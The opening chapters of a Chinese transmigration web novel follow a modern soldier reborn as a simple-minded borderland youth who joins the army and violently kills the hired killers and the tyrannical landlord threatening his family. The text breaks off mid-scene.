《北地悍枭》
第1章 二愣子醒来
大周王朝,北地。
刺骨的北风卷着界河的泥土腥气,狠狠灌进摇摇欲坠的破屋。
河水裹挟着碎裂的冰凌向东咆哮,却盖不住这南河口铺弥漫的绝望呜咽。
“嘶......”秦猛是被后脑撕裂的剧痛给疼醒的。
他猛地睁眼,映入眼帘的不是KTV包厢的灯红酒绿,而是布满蛛网的粗粝房梁、漏风的灰瓦,以及墙角挂着的残破渔网。
空气里弥漫着泥土、劣质草药和湿柴燃烧的呛人烟味。
“这…这是哪?”
秦猛念头刚起,更剧烈的疼痛在后脑炸开!无数陌生的记忆碎片如决堤洪流,强行冲入脑海:
大周王朝,北地幽州。
拒马河,小南河堡,河口烽燧台。
界河对岸,草原各部集结,入境劫掠!
......
秦猛,他竟然穿越了!
他穿越到一个人文风俗类似中国古代却又没过的朝代——大周王朝。
成了因幼年高烧,有点憨傻的秦二愣。
父亲秦武,两年前断后,阻击大队劫掠的鞑子兵,力战身死。
母亲忧愤成疾,半年前撒手人寰。
家中仅剩童养媳陈月娘,年方二八的小妹秦小芸。
而仇敌——南河镇富户刘德才。
这刘扒皮,仗着兄长在幽州府做官,横行乡里,无恶不作。
三日前,他带着凶神恶煞的庄客踹开家门,拿着一张墨迹潦草的假借据诬陷憨愣秦猛欠下“赌债”。
逼债是假,强占秦家五十亩赖以为生的军功田是真,更深藏的歹毒念头,是早已觊觎姿色出众的陈月娘。
原身呆愣,脑子不太灵光,却认得朝夕相对的月娘和总叫自己“哥”的小芸。
见那群腌臜泼才竟敢推倒小妹、抓扯月娘,这二愣子竟爆发出蛮牛般的狠劲,打翻了几个恶汉。
然而,这卑微的反抗招来了偷袭,一棍重砸——正中后脑。
剧痛,黑暗,濒死......
再睁眼,主宰这身躯的,已是曾上过战场、维和反恐、浴血百战的老兵,铁血武警教官之魂。
“哥~你,你醒了?”门口骤然响起一道清脆到破音的呼喊,带着巨大惊惶与不敢置信的狂喜。
“嫂子,快来,哥他醒了。”
秦猛艰难扭动脖颈。
一个单薄的身影扑到床边,正是记忆中的小妹,秦小芸。
少女清秀的小脸苍白如纸,双眼肿如烂桃,此刻却死死盯着他,泪花闪烁,满溢着激动的光芒。
几乎同时,一道修长而坚韧的身影疾步冲进里屋。
她粗布荆钗难掩天生丽质,身段在宽大旧衣下依稀勾勒出婀娜,但那姣好的面庞上只有深入骨髓的疲惫与绝望。
一双如秋水般的眸子撞见秦猛睁眼的一刹,被狂喜点燃,随即又被更沉重的绝望淹没。
家中至绝境时,她用柔弱的肩膀扛起了家,是秦家最后的支柱,是秦猛的童养媳,陈月娘。
“猛,猛子哥?你,你......”
陈月娘声音嘶哑干涩,仿佛被砂砾磨过,伸出去探他额头的手抖得如同风中落叶。
秦猛的目光如同两道冰冷的钩子,死死锁住眼前两个女人。
赋税,父亲死,秦家已被勾销军籍,失去最后屏障。
大周国力渐衰,边境多事(契丹、女真等异族频频骚扰)。
官府加派的“城戍缮修钱”竟比去年翻了一倍。
眼下又值秋税之期。
管铺的张税吏曾凶神恶煞地撂下话:“月底必须交足折算的百斤粟米,三贯足钱。否则,男丁枷号锁去做苦役奴工,女子没入官窑为妓!”
三日前,家中早已被刘扒皮洗劫一空,钱粮全无。
秦小芸突然像被无形的巨手扼住喉咙,尖利哭喊出来:“哥,嫂子,嫂子说,你要是你醒不过来,她明日,明日就投界河,宁可喂鱼,或是,一头撞死在刘扒皮家门柱上......呜哇啊~”
“跳河?撞柱?”
秦猛瞳孔如同受惊的野兽骤然收缩。
一股源自血火战场、足以熔金化石的狂暴怒意从胸腔轰然爆发,直冲颅顶。
“放屁!都给我好好活着!”
一声低沉、嘶哑却如同受伤狂虎般的怒啸,陡然在破屋中炸响。
秦猛怒目圆睁,字字如同钢铁撞击,清晰无比地从牙缝里迸出,带着冻彻骨髓的凛冽杀机。
那模样再无半点前身的含混呆傻。
这吼声如同无形重锤狠狠砸在秦小芸和陈月娘的心口。
两人瞬间僵死,浑身血液仿佛冻结。
她们惊骇欲绝地瞪向床上的秦猛,眼神里充满了前所未有的惊愕、茫然、以及深切的疑惑。
眼前这人......还是那个浑噩的秦二愣子吗?
那双浑浊呆滞的眼神,此刻亮的吓人,那股沉凝如山、仿佛下一秒就要撕裂一切的凶戾气势,是她们从未感受过的,熟悉中又带着陌生。
“刘扒皮......”秦猛的声音冷得像来自九幽寒泉的坚冰:“这刘扒皮真不知死,敢打我秦猛家小的主意?嫌命长?我这就去拧下他的脑袋!”
“猛,猛子。”陈月娘嘴唇剧烈哆嗦,大脑一片空白。那股陌生感让她心慌,几乎喘不过气。
“哥,哥?你,你不傻了?”秦小芸却由极度的恐惧瞬间转向狂喜。
她语无伦次地确认奇迹:“天呐!你的伤,脑子,真好了?”
“呃......”
秦猛脑中电转,给出一个看似荒诞却合理的解释,“老天爷糊涂蛋,糊弄了我二十年。刘老狗这一棒子倒好,给我把天灵盖砸开窍了。门儿清!老,俺现在清醒得很。”
“哥~”
秦小芸再也抑制不住,巨大的喜悦涌来,她尖叫着扑进秦猛怀里,滚烫泪水浸透他胸前粗布,“太好了,爹娘要是泉下有知......”
陈月娘紧紧捂住嘴,身体剧烈颤抖,轻声啜泣,大颗大颗泪珠无声汹涌滑落,砸在冰冷地面。
那是绝望深渊中突然抓住生之绳索的巨大情感冲击。
秦猛心中剧震。
原身呆愣,但记忆里那些温暖碎片却无比清晰。
小妹饿着肚子省下半块糙饼塞他嘴里;月娘风雪天背着他看病,走了十多里山路,为了撑起这个家,上山采药,双手在峭壁上磨得鲜血淋漓......
这份末世也难寻的至深羁绊,此刻如滚烫烙印在他新生灵魂,越来越清晰。
“在后世那物欲横流的社会,怕跑得比鬼都快?”秦猛热流涌上眼眶。
纵使灵魂易主,但情义他认了!
这两个人,就是他最亲近的人,是他在这操蛋世道必须用命守护的家人。
他收紧手臂,如钢铁般将怀中颤抖的小妹护住:“小芸不怕,天塌不下来。今后,哥护着你们!”
他猛地抬头,目光如开锋利刃带着一往无前的决绝,死死钉在陈月娘失色的脸上,声音斩钉截铁。
“月娘,我嘴笨不会说甜言蜜语,但你是我秦猛的女人。只要我还有一口气在,谁敢动你一指头,我就扒他的皮,抽他的筋!——说到,做到。”
“嗯!”陈月娘用尽全身力气,狠狠点头。
那冰冷的寻死念头,被这声铿锵誓言瞬间撕裂。
“可是哥。”秦小芸想起夺田之恨,悲愤攥拳,“爹拿命换的田,被那群畜生抢了。还有那要命的税,几天后就到了。
哥,怎么活啊?”
“刘扒皮......”
秦猛眼中寒光暴涨,嘴角扯出残酷狞笑,轻拍小妹后背安慰:“放心吧!
老秦家几代军户!
爹用命换的东西,我这就让那老狗连本带利,连皮带骨地给我患回来。”
陈月娘却被逼在眼前的绞索急得快发狂:“猛子哥!田,日后慢慢算。税,是要命啊!
就在几天后,交不上就是灭顶之灾。
百斤粟米,三贯钱。
别说三贯,三百文我们也拿不出,家里但凡值点钱的,全被刘家抢走了......”
“赋税索命?那是咱家没了爹,军籍被勾销。”秦猛眼神锐利如鹰,带着不容置疑的力量。
“爹的军籍名额还在,就在这南河堡。等我片刻,恢复力气,就去西南烽燧堡报道。
补爹的缺,重入军籍!”
他心中杀意翻腾,冰冷清晰。
这大周朝纲腐败,日落西山。
边疆暗流汹涌,西面土蕃诸部,西北有党项,北方有契丹,女真,东北有东胡,东南海域似乎更有海盗......
这些游牧部落从安分守己,开始频繁骚扰劫掠。
大周军队战力拉胯,节节败退,已是四面楚歌......
比秦猛所知道的任何朝代更乱,更凶。
大周军队,尤其是边境驻军,普遍是父死子继,兄终弟及,朝廷发两份军饷,家人有经济补助。
秦猛投军,这是眼下唯一能劈开绞索的利斧!
战场九死一生?
总好过眼睁睁看着妻妹沦为官奴妓女!
何况,秦猛另有想法,刘德才这祸害就是头肥羊,杀了积攒原始资本,在边军最前线立足。
再暗中谋划,拉起军队,才有活下去的资本。
第一步,顶爹的缺,再杀刘扒皮!
“不,不行啊哥。”秦小芸惊恐尖叫,死死抱住他胳膊,“爹咽气前,嘱咐娘不让你补缺当兵。那是绞肉场,秦家,就剩你这一个男丁了......”
“糊涂!”
秦猛厉声断喝,如雷炸响,目光灼灼:“不当兵?
就靠这风一吹就倒的破屋?
等着税吏上门砸锁链抓人?
等着哪天异族杂种或匈奴马匪冲进来,被他们砍了脑袋换赏钱?”
第2章 界河边,烽燧堡
边关乱局四起,想要活命,要护住这个家,刀把子硬,拳头狠才是唯一的依仗。
投身军旅建功立业,搏出一条前程,才能在边疆扎下根。
秦猛死死盯着两人眼睛,话语中的残酷景象让她们浑身发冷,而更深层次的用意并没说。
秦小芸和陈月娘被他话语中那血淋淋的未来图景和那股铁血无情、一往无前的意志彻底震慑。
眼前不再是憨傻的二愣子,好似一柄即将出鞘的凶刃。
秦猛看着两女煞白小脸,缓了缓语气,挤出生硬笑意:“咳,你们别怕。
哥,只是想让你们吃饱、穿暖,安安稳稳,不用担惊受怕......”
陈月娘和秦小芸怔怔望着他脸上那生硬的“柔意”,心脏狂跳。
但那“吃饱穿暖”的朴实愿望,却像冰原透出暖意,化开些许恐惧。
半晌后,两人几乎同时,茫然却用力地重重点头。
“你饿了吧?”
陈月娘撑着虚弱的身体,去翻找家里仅存的一小把粗米和腌菜疙瘩,煮了一锅稀得能照见人影的菜粥。
秦小芸乖巧懂事,小心撇倒米汤将最稠的部分菜粥舀给哥哥碗里。
秦猛知道这不是客气的时候,他忍着发酸的鼻头和后脑的抽痛和身体的虚弱,强迫自己将这一碗“能量”连同里面承载的深情一起咽下。
他看着近乎家徒四壁的屋子,心里暗暗咬牙发誓。
一定要讨回公道,让婆娘过上好日子。
一碗稀薄的菜粥下肚,秦猛阖目凝神。
规律的呼吸、吐气,刺激着迷走神经,一丝微弱但坚韧的气流在体内艰难凝聚、游走。
半个时辰后。
秦猛睁眼,眼中血丝褪去,精光灼灼,后脑疼痛好转,沉滞的身体松动了不少。
他挣扎下床,摇晃了一下,引得月娘和小芸惊呼,摆摆手示意无碍。迅速穿戴整齐,跺脚搓手,活动开筋骨,直至打了一套军体拳。
“我去烽火台一趟,你们锁好门。”秦猛找了把柴刀,话语虽简,却透着不容置疑的沉稳。
他刚出院门,隔壁王婶被嘎吱吸引,见是秦猛,簸箕顿在了半空:“二愣子?你清醒了?”
“托您的福,王婶。”
秦猛点头回应这位心热的邻居。
母亲走后没少帮衬,就是有点喜欢唠叨。
“谢天谢地!”
王婶唏嘘,随即压低声音叮嘱:“愣哥儿,可不许乱跑了,保长说附近村子有人不见踪影。那刘家势力,州府还有官亲......”
“好,我去去就回,您忙着。”
秦猛打断妇人絮叨,大步流星地走了,留下王婶盯着他骤然挺直的背影发愣:“这孩子…说话利索了?”
她手里的活计一停,把簸箕放好,忙不迭往秦家走。
没走出几步,又折返,拎着装满粟米的布袋,又在棚内鸡窝里面摸出几个鸡蛋......
堡内铺屋矮而结实,狭窄曲折。
扛锄的老汉、纳鞋的妇人见到眼神清明、步履沉稳的秦猛点头示意,无不愣神,交头接耳。
那愣小子,是突然好了?
出了堡门,寒风裹着冰屑抽打在脸上,秦猛头脑越发清醒,精神绷紧如弦。
特种兵的本能无声复苏,风声、远处界河薄冰碎裂,甚至脚下枯草的断裂声,都被敏锐捕捉与筛选。
小南河堡,依坡而建,紧贴大河南岸。
此地距离这片区域的军镇南河城寨不过七八里地。
堡中四十多户、两百余口,耕垦着河边的滩涂淤地,看护着这段界河流域岸边的林带,同时也为山顶那座孤独的烽燧堡承担着徭役。
堡外植被茂密,仅容三两人并排而行,这片人工栽植并精心维护多年的林子,连同前面那条绵延数千里的大河,便是大周赖以生存的屏障。
秦猛踩着枯枝,边走边在心中飞速复盘——
自大周王朝中枢衰朽,党争内斗不断,国力江河日下,对边疆的控制日渐松弛。北方的草原部落便如嗅到血腥的饿狼,开始蠢蠢欲动。
昔日畏惧大周兵锋的部族,起初只是零星劫掠边民,如今已开始步步为营,蚕食土地。
为守住这数千里北国境线,驻扎北疆的卫戍各军。
只得依托那条从西北高原奔腾而下,一路向东汇入大海,贯穿了整个北疆防线的东西横贯大“界河”之险。
再以渡口、滩涂处设立军堡,城寨,边防重镇,倾尽全力构筑沿河防线,试图以水为屏,阻挡日渐骄狂的游牧铁骑。
两里地外,一座三丈高的夯土墩台孤立在土坡顶端。一面褪色的“周”字破旗在风中挣扎。
熏黑的墙根下,八个穿着黯淡铁鳞甲的老卒沉默擦刀,他们是幽州卫戍正规军。
十多个背着长弓,穿旧皮甲的土兵围着火堆取暖聊天。
土兵,是大周王朝构建边境防线单独设立出来的兵种。是土生土长的民壮屯田,辅助防守等。
满年限后,杀三个鞑子就能转为正规军。
墩台后,胡子拉碴、身形敦实的秦大壮正用细棍卷着引火棉絮。
“秦什长!”喝声穿透寒风。
“噌!”秦大壮与兵卒瞬间弹起,手按刀柄,看清是秦猛这熟面孔,松了口气。
秦大壮却看到秦猛双眼亮得吓人,瞳孔骤然紧缩:“猛子?你这......”
秦猛大步上前,取出父亲遗留,带着体温的铜腰牌,声音清晰有力:“大壮叔,我是秦猛。刘家的闷棍打‘通’了塞住的脑袋。前尘尽复,今日特来,求您作保,替亡父补缺从军。”
他咬牙恨声道:“家中遭遇恶霸洗劫,税赋难以为继,我要挣个前程,给月娘和小芸挣条活路!”
众兵卒倒吸凉气。
再看秦猛——身形魁梧更甚秦武当年,肩上扛着的更是份沉甸甸的铁血气魄!
“真,灵醒了?”
秦大壮接过腰牌的手微颤,想起十年前为掩护同袍死在游骑箭下的生死兄弟秦武,喉头滚动:“你真的都记起来了?”
“记得真真的!冬天芦花扎鞋不冻脚,是您教的!”秦猛笑了笑,字字铿锵。
“好,好小子,贼老天开眼了。”
秦大壮虎目含泪,连道三声好,猛拍大腿,一把拽着秦猛进了烽燧堡内的值房。
昏暗油灯下,秦大壮翻出落灰的《南河铺兵年甲簿》,找到那一页“痴愚无状”的冰冷墨迹。
他重重叹口气,抓起秃毛笔,蘸满浓墨,狠狠划掉那四个伤人的字,在旁歪曲地书写:
“永泰十三年十月二十五,丁男秦猛(故军秦武之子),年廿三。身长九尺,状貌魁健,承父志求补父阙。其人神清言晰,旧疾尽去。依北疆军·戍卫旧例上请,南河口燧堡什长秦大壮,具保画押。”
腰牌沾印泥,一个模糊的“保”字深深印在册上。
“妥了!”
秦大壮大笑着狠拍秦猛的肩膀:“明日我轮休,带你找魏知寨。他是你爹老上司!”
他转身又从角落破木柜底层,珍而重之地拽出一把带旧牛皮鞘的直刀:“拿着,榆木弯的糙铁片子,没有你爹的那把好,防身够了。
将来挣出功勋,配上战马铁甲,那才叫威风!”
边军制式环首直刀长约三尺三,入手沉重,带着岁月的冰凉与淡淡的油脂味。
秦猛拇指一推,“噌”一声寒光乍现半寸,随即利落归鞘,紧束腰间。一股久违的安全感贯穿心脉。
“猛子,这个拿回去,权当提前给你的军粮。”
秦大壮又拉着秦猛到了伙房,找了个布袋,舀了几升米,取了一条腊肉,硬塞给秦猛。
秦猛后退半步,抱拳,深深一揖:“秦叔恩情,秦猛永世不忘!”
他真心为之,语气里满是郑重。
秦大壮只当是少年人重拾志气,拍着他的肩膀大笑:“好小子,有你爹那股硬气。日后进了军营,好好干,将来给咱南河本堡争口气。”
“另外......”
秦大壮突然压低声音,凝重提醒:“你小心点,燧台能看见堡外近来有不明人影徘徊。秦叔职责所困,刘扒皮这条老狗无法无天惯了,此地又是边塞,晚上别睡太死。”
“好,我记住了。”
秦猛眼中杀机闪烁,重重点头。揣着保状,挂着直刀回到堡内,日头已沉入林线,往常的犬吠消失更让他心头沉重。
左邻右舍帮衬,今晚,伙食有所改善。
糙米饭,上面扣了几块肥腊肉,水煮鸡蛋,炒青菜。
对破败的秦家来说了,这无疑等同于过年。
而那柄沉甸甸的军刀和秦猛眉宇间的沉毅,终于让陈月娘和秦小芸一颗悬着的心悄然落下。
两女闻着浓郁的饭香,难得说笑,眼角眉梢都染上几分松快。
昏暗油灯下生出几许微弱暖意。
秦家的铺屋虽矮,却结实规整,房间也还算宽敞。
简单洗漱后,秦猛看着陈月娘解下围裙,逃回自己房间的背影,心里掠过一丝惋惜。
这姑娘自小被秦家抱来做童养媳,名分虽定,却因他先前憨傻,始终没正式迎娶过门。
在这讲究礼法的大周,别说同榻而眠,便是寻常男女牵手,搂抱都要遭人指点。
两人这些年,同处屋檐下朝夕相处,却不过是隔着门的“家人”。
门后,陈月娘背抵冰凉门板,双颊烧得滚烫。
方才秦猛那一眼,蕴着前所未有的火热,认真与担当,撞得她心口狂跳,匆匆逃回。
那个“二愣子”真,真是开了窍。
一种陌生而又令人心跳加速的暖流,悄然浸透了心田。
第3章 磨刀霍霍,狭路相逢
夜幕低垂,南河堡点点灯火次第熄灭,秦家破旧的堂屋里,一点豆大的油灯光晕摇曳不定。
“嚯......嚯......嚯......”
粗砺而规律的磨刀声,在夜晚如死神渐近的跫音。
秦猛坐在马扎上,面前是一块粗糙的磨刀石,一瓦罐浑浊的积水。火光在他专注的脸上跳跃,将那柄厚背柴刀的刃口一点点磨得锋利。
每一次推拉,铁锈被刮下,落入混浊的水里。那刺耳的摩擦声,撞击着门后两颗揪紧的心。
秦小芸扒着门缝偷看,好奇又担忧。
陈月娘紧咬着下唇,血色褪尽,双手死死捏着衣角,指甲深陷掌心也浑然不觉。
她看着火光映照下秦猛那棱角分明的侧脸专注、冰冷,带着一种她从未见过的、近乎残酷的决心。
十多年朝夕相处的“二愣子”,此刻陌生得让她心头发颤,却又隐隐被那股气势攥住了心神。
半个时辰后,刀刃淬寒,家中几把刀都被磨得寒气森森。
秦猛掂了掂分量最沉的柴刀,手腕翻转试了试,布条缠绕刀柄,绑缚结实,确保不会脱柄。
他将菜刀和剪刀分别塞到陈月娘和秦小芸冰凉的手里。
“锁好门,你俩今晚就睡一屋。”
他的声音低沉平稳,带着不容置疑的决断:“入冬了坏人多,一旦有变,从地道躲到王婶家或富贵哥家。”
“哥,你......”
秦小芸声音发颤,看着秦猛将柴刀插在后腰腰带下,破旧棉袄下顿时鼓胀起凛然的杀意。
“快入仲冬,是个打猎的好天气。”
秦猛打断她,目光如古井无波,刻意提高了些音量,确保左邻右舍偶尔能闻声,话语清晰、笃定。
“家里清锅冷灶的,总得想法子弄点油水回来。哥以前傻不说,现在好了,岂能不撑起家?
瞧你俩瘦的,哥心疼啊!
弄几只肥兔野雉,给我家小芸和月娘熬锅热乎肉糜补补身子。”
他拍了拍柴刀柄,仿佛真是为晚上狩猎准备。
秦小芸鼻子发酸,心里却喜滋滋的。
陈月娘望着秦猛平静得过分的侧脸,对比不久前磨刀时那种决心,恍惚间“拧下他的脑袋”这话萦绕在耳畔。心头隐约猜到了什么,她却什么都没说。
男主外,女主内,这本就是天经地义的事儿,其他的,她一个妇道人家也不太懂,也无需多问。
菜刀却攥得紧了,硬木柄硌得掌心生疼。
“哥,危险!”秦小芸眼拉着秦猛,本能地担忧。
“打猎罢了,能有什么危险?堡里人祖辈都这么过活。”
秦猛站起身,高大的身影在油灯下拉得更长,一种无声的压迫感弥漫开来。
他语气放缓和些:“安心在家,等我满载而归。不会太久,记住我说的话,晚上有变,走为上策。”
“嗯!哥,那你一定要小心。我们等你回来!”秦小芸晃动手上的剪刀,回答得很干脆。
“我等你。”
陈月娘的声音干涩嘶哑,却蕴含着一种孤注一掷的决绝,见秦猛转身叫道:“二愣子,若你有个不测,我陈月娘绝不独活。”
秦猛深深看了她们一眼,那目光沉凝如铁,有承诺,亦有诀别的沉重。转身,“吱呀”一声推开那扇沉重的木门,风雪呜咽着涌入。
“关严实。”
话音未落,秦猛魁梧的身影已融入无边的黑暗与呼啸的寒风中,仿佛被夜色吞噬。
说去狩猎只是托词,是善意的谎言。
秦猛真正的狩猎目标是——南河镇,刘德才!
初冬的夜,星月被厚重铅云吞噬,伸手不见五指。
凛冽如刀的朔风裹着沙砾碎石,抽打着荒凉的土路,将一切细微声响卷入无边的喧嚣。
秦猛速度飞快,这具身体虽带新伤,但根骨雄健,天生神力。或许是灵魂穿越带来的蜕变。
此刻,他精力异常充沛,更惊人的是——地上石头、坑洼的轮廓,在他眼中清晰可辨。这为他在这危机四伏的乱世平添了几分底气。
他悄无声息地靠近堡寨唯一的后寨门。刚闪身而出,脚步便猛地顿住。
特种兵的直觉如冰针般刺入神经——夜色掩护下,几个如同鬼魅般的身影,正蹑手蹑脚地向村堡后墙根处摸来。
他们手中寒光闪烁,那是......是利刃的反光!
秦猛心头一凛,秦大壮白天的警告如同惊雷炸响。
他立刻压低身形,如同融入夜色的岩影,紧贴冰冷粗糙的土墙根阴影,悄无声息地靠近。
距离拉近,四人皆着紧身黑衣短打,提着朴刀、短刀,动作鬼祟,正扒着堡墙,意图翻墙而入。
大概方位,赫然是他秦家!
杀意,如同冰冷粘稠的原油,瞬间在秦猛胸中沸腾、翻滚。
自己准备动手,对方却先来了?
他猜得一点没错。
这四条融入夜色的鬣狗,正是刘德才重金所雇的亡命徒。
几次徘徊堡外,踩点,趁人不备,用药饵害死了堡里几条碍事的土狗,只为今夜的行动。潜入,杀死“傻子”秦猛,掳走陈月娘。然后做成是草原游骑或马匪流寇屠村掳人的假象,在这混乱边陲,是时常发生的事儿。
领头的刀疤脸大汉眼神凶狠,想到刘德才许诺的500两银子,掳掠美女,任凭自己摆布等好处,脸上在黑暗中扭曲着贪婪和残忍的狞笑。
就在几人靠近墙角跟欲行动的瞬间——
“呜——”
一道比浓夜更沉的黑影,从墙角阴影中鬼魅暴起。
是秦猛!
前世的战斗本能与这具身体的潜能交融,身轻如燕,悄无声息。
黑暗是他的猎场。
视线如夜枭捕食,瞬间锁定队尾的庄客。无声横移两步,骤然欺近时,那庄客正紧张地放风,浑然不知死神已至。
秦猛左手如钢钳暴起,死死捂住对方口鼻,指力深陷皮肉,连颈骨都被捏得发出“咯吱”轻响,断绝了任何呼救的可能。
同时,他右臂绞住其下颌,左手与右手反向发力——
“咔嚓!”
骨裂声撕破寂静。
那人眼球暴凸,喉间挤出“嗬嗬”的绝望抽气,身体像断了脊梁的泥鳅抽搐两下,不再动弹。
秦猛接住掉落的尖刀,整个过程快如闪电,冷酷得不带一丝多余动作。
他的目光转向欲爬墙的刀疤脸。
骨裂声虽轻,却像针一样刺破刀疤脸的耳膜。身体不受控制地哆嗦,似乎被某种猛兽给盯住了。
那股心悸感让他汗毛倒竖,心道不好。
“谁?”
刀疤脸猛地回头,迎面撞上的是惨淡月光下扑来的黑影,杀气凝成实质压得人喘不过气。
“点子硬,并肩子上啊!”刀疤脸魂飞魄散地嘶吼。
可太迟了。
秦猛无视侧面刺来的匕首寒光,目标只有领头者。身形前冲时腰身一拧,右脚如攻城槌般暴踹而出——
“嘭!”
闷响震得人耳鼓发颤,那偷袭的杀手像被健牛撞中,惨嚎卡在喉咙里,胸腔塌陷着倒飞出去。
“轰”地砸在院墙上,滑落在地时口鼻鲜血狂涌,只能蹦出“呵呵”声,眼见是活不成了。
与此同时,秦猛手中尖刀化作银线,带着锐啸直刺刀疤脸心窝。
疤脸汉子凭着搏命本能,踉跄退了半步,拼尽全力撩起牛耳尖刀格挡——
“铛!”
金铁交鸣刺破寒夜,火星溅在两人的脸上。
刀疤脸只觉一股沛然巨力从尖刀上迸发传来。半边身子发麻,牛耳尖刀险些脱手,刚想后退。
秦猛手腕却诡异地翻转,尖刀划出弧线变刺为抹,汉子奋力抽刀,挡住抹脖子的杀招。
“哐啷......”
秦猛反手拽出腰间直刀,如毒蛇缠向他手腕——
“噗嗤!”
皮肉撕裂声伴着刀疤脸变调的惨嚎,深可见骨的伤口迸出热血,尖刀“当啷”落地,绝望刚爬上心头。
秦猛左手已如铁箍揪住他后领,无可抗拒的力量将他拎起。紧接着,狠狠地灌在冰冷的地面,冰寒的刀锋贴上疯狂搏动的颈动脉。
“动一下,头就没了。”秦猛的声音比寒月更冷。
喉间的冰凉冻僵了刀疤脸所有勇气,不敢挣扎。
最后那个庄客目睹修罗场——地上两具尸体、瞬间被制住的老大,惊得魂飞魄散,“妈呀”一声狂奔。
秦猛眼神一厉,顺手抄过地上一块拳头大的鹅卵石,以投弹姿势掷出。石头带着尖啸砸中奔逃者后脑勺。
“噗”的闷响后,那人直挺挺翻身栽倒,红的白的染污地面,那厮蹬了两下腿,便没了动静。
秦猛刀刃微微施压,看向刀疤脸扭曲的脸:“我问,你答,给你痛快。不然,老子剐了你!”
“我说,我什么都说,好汉饶命!”
刀疤脸对上秦猛那冰冷的眼神,心中恐惧,裤裆里热乎乎的,语无伦次:“小的不敢有半点隐瞒......”
“聒噪!”秦猛揪住他头发,狠狠将其脑袋惯向地面——
“砰!”
鼻梁骨碎裂声清晰可闻。刀疤脸口鼻喷血,剧痛让他几欲昏厥,却被脖颈上再次切入皮肉的刀锋逼回理智,死亡的窒息感扼住了他。
“谁派你们来的?”秦猛声音平静得像结了冰。
刀疤脸颤抖着,喉结滚动间竟有迟疑。
“看来想试试活受折磨?”
秦猛将他头拉起半尺,眼神冷得像在看待死物:“你不说我也猜到,我这傻子能得罪谁?除了南河镇姓刘的老狗。”
“傻子”二字成了最狠的嘲讽,刀疤脸最后一丝侥幸崩塌:“是刘德才!
他给每人五十两银子,杀傻,秦爷,抢陈家娘子。
银子在......钱袋里。好汉爷,非是本意,我能指证,他......”
噗!
秦猛砂锅大的拳头砸在他后脑枕骨,刀疤脸面门再次撞地,力道更猛。颅骨深处仿佛炸开闷响,视野瞬间染红,意识如碎瓷般崩裂。
秦猛俯身,手指精准扼住其脖颈,用力一拧——
“咔嚓!”刀疤脸脑袋歪到了一边,瞪圆了双眼。
“指证?”秦猛嘴角扯出冷笑,眼底冰寒彻骨:“老子哪有时间陪他打官司?白天只是冤有头债有主,现在嘛......”
他的目光穿透夜色眺望南河镇的方向:“一方退场,要钱也要命。”
秦猛迅速搜身,捡了两把尖刀,四个沉甸甸的钱袋里有百两白银。
他脸上终于露出一丝真正的、带着血色的笑意。
第一滴血,第一笔“收获”。
很好!
那么,下一站——刘家!
来而不往非礼也,血债血偿,十倍索利!
秦猛找了地方埋了钱袋子,继续赶赴南河镇......
第4章 报仇不隔夜
朔风如刀,卷着冰碴刮过南河镇。
这座因水运而兴的边陲重镇,此刻浸在浓稠如墨的夜色里。正是月黑风高,杀人放火时。
刘府大院,深宅高墙隔绝了外界的贫与乱,值夜护院缩在朱漆大门后,搓手跺脚,低声抱怨着刺骨寒意,言语间夹杂着对女人的荤话。
“嘶,快看,东墙角,是不是有黑影晃了下?”骤然间,一个护院眯起眼,汗毛微竖。
“放屁!冻出重影了吧?”
另一人嗤笑,上下打量他调笑道:“莫非是被你婆娘榨得花了眼?”
“去你娘的,老子身体好得很。”
......
他们却浑然不觉,一道比夜色更浓的人影,已如壁虎般吸附丈许高墙,肌肉贲张却无声无息。
秦猛翻身跃入刘家,藏在墙角根,如同融入暗影的人形凶器,紧贴冰冷墙面移动。
他前世淬炼的渗透经验、潜伏本能和超强视觉,让他在这近乎绝对的黑暗中,勉强勾勒出轮廓。
目标清晰,方位醒目,正院雕花木楼二楼——刘扒皮的暖阁,以及东院——其子刘耀宗的住处。
巡夜灯笼昏黄的光圈,在秦猛眼中如同儿戏(这世道,夜盲是常态)。
他避开灯笼光晕,狸猫般绕过堆满杂物的伙房。
秦猛并未走地面,而是如猿猴般攀上抄手游廊粗大的木柱,指爪如钩嵌入梁椽缝隙里,腰腹发力,一个无声的倒卷帘,人已悬在二楼外廊栏杆外。
动作流畅如猎豹扑食,带着冰冷的暴力美学。他轻松摸近中央高浮雕木门,牛耳尖刀出袖,刀尖如毒蛇吐信,精准探入门缝,轻轻挪动着。
时间在死寂中流淌,唯有寒风呜咽。秦猛呼吸绵长,心跳平稳。
十息!
极为轻微的“咔哒”声,粗大木栓应声而开。
秦猛侧身闪入,轻合门,气息瞬间收敛如顽石。
一股浓烈酒气混杂劣质脂粉味扑面。
屏风后,放着一张雕花大床,刘扒皮肥硕身躯陷在锦被中,鼾声如雷,一个丰腴女人蜷缩一旁。
微光下,那张油腻丑脸清晰可见。
这老畜生坏事做尽,为了钱,无所不用其极,兼并土地,不知害了多少人。不排除对方与草原部族勾结,输入粮食,铁器,盐巴等物。
秦猛杀意,如同冰原下沸腾的岩浆,轰然冲顶!
这是身体原主残留的执念,遏制不住的恨。
把刀子插入刀鞘,他欺身上前,左手一记手刀切在女人颈侧大动脉!闷哼未出,人已软倒。右手铁钳般死死扣住刘德才肥厚的下颌。
秦猛拇指发力,精准卡入其下颚关节。
“咔嚓”声响,剧痛让刘德才瞬间从醉生梦死中惊醒。
“呜呜呜......”
窒息与剧痛的双重打击,肥躯疯狂扭动,小眼因惊骇暴凸,死死瞪着黑暗中那双亮如寒星、淬满怒火的眸子。
“刘老狗!”
秦猛声音压得极低,却字字如冰锥凿骨:“你雇人来杀我,我又何尝不想来杀你?”
他凑到刘德才眼前,露出个狞笑:“认得这双眼睛吗?
秦二愣子,报仇不隔夜,来收债了。”
秦猛手上用力,刘德才下颚骨发出令人牙酸的“咯咯”声。
“唔,唔唔.......饶......”
刘德才魂飞魄散。
这傻子居然没有死,牛大眼他们完了?
这眼神,这力量,是索命的恶鬼!
悔恨与恐惧瞬间淹没了他。
秦猛止住刀子捅死对方的想法,扯过厚锦被猛地兜头罩下。双臂绞缠其脖颈,全身力量悍然下压,膝盖如同攻城槌。
“咚!”
一声闷响,顶住其肥硕腰腹。
力量之大,刘德才躬身如虾米,床板都发出呻吟。
“嗬,嗬嗬......”
被褥下,刘德才挣扎如同困兽,肥腿狂蹬,床榻吱呀作响。
秦猛纹丝不动,铁臂持续加力。
他能清晰感受到颈骨在巨力下断裂的细微震颤,挣扎转为抽搐,最终彻底瘫软。
掀被。
